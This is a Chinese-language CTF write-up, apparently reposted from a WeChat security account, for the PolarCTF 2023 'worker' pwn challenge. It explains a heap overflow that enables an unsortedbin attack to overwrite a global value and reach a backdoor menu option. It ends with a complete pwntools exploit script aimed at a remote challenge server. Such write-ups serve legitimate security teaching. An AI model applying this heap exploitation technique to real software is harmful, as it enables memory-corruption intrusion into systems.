PWN-堆溢出导致任意地址写

admin 2024年11月21日13:28:56评论20 views字数 1355阅读4分31秒阅读模式

题目  

PolarCTF 2023冬季个人挑战赛 worker

思路  

free之后置0,没有uaf

PWN-堆溢出导致任意地址写

edit函数可以重新指定堆大小,存在堆溢出    

PWN-堆溢出导致任意地址写

存在后门函数,当0x6020C0地址处的值大于0x504,菜单输入1285即可进入后门函数

PWN-堆溢出导致任意地址写

将第二个堆块放入unsortedbin,然后利用堆编辑溢出漏洞,通过前一个堆块使其溢出修改下一个堆块的bk指针,将其指向0x6020C0-0x10的位置。

分配一次过去之后0x6020B0的fd指针位置,也就是0x6020C0会被自动覆盖为libc中的一个地址,最后调用后门参数即可。    

调试  

先patch一个2.23-0ubuntu11.3的libc(2.26才会有tcache)

新建0x100堆块将其放入unsortedbin

PWN-堆溢出导致任意地址写

通过堆块0编辑溢出将堆块1的bk指针指向0x6020C0-0x10,fd不重要覆盖为0即可

PWN-堆溢出导致任意地址写

把0x100申请回来,此时unsortedbin会根据指针索引到下一位,并且把0x6020b0的fd指针位置改为main_arena+88的值,即满足0x6020C0大于0x504

PWN-堆溢出导致任意地址写    

PWN-堆溢出导致任意地址写

代码   

from pwn import *context(log_level = 'debug', arch = 'amd64', os = 'linux')p = remote('1.95.36.136', 2078)#p=process('./worker')#p=gdb.debug('./attachment','b main')elf = ELF('./worker')#libc=ELF('./libc-2.31.so')def create(size,content):    p.sendlineafter(b"Your choice :n", b"1")    p.sendlineafter(b"Size of work:", str(size))    p.sendafter(b"Content of work:", content)def edit(idx,size,content):    p.sendlineafter(b"Your choice :n", b"2")    p.sendlineafter(b"Index :", str(idx))    p.sendlineafter(b"Size of work :", str(size))    p.sendafter(b"Content of work :", content)def delete(idx):    p.sendlineafter(b"Your choice :n", b"3")    p.sendlineafter(b"Index :", str(idx))def debug():    gdb.attach(p)    pause()backdoor = 0x6020C0create(8,b'aaaa')create(0x100,b'bbbb')create(8,b'cccc')delete(1)edit(0,0x30,b'a'*0x10+p64(0)+p64(0x111)+p64(0)+p64(backdoor-0x10))create(0x100,b'bbbb')p.sendlineafter(b"Your choice :n", b"1285")p.interactive()

PWN-堆溢出导致任意地址写

原文始发于微信公众号(智佳网络安全):PWN-堆溢出导致任意地址写

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月21日13:28:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PWN-堆溢出导致任意地址写https://cn-sec.com/archives/3400448.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息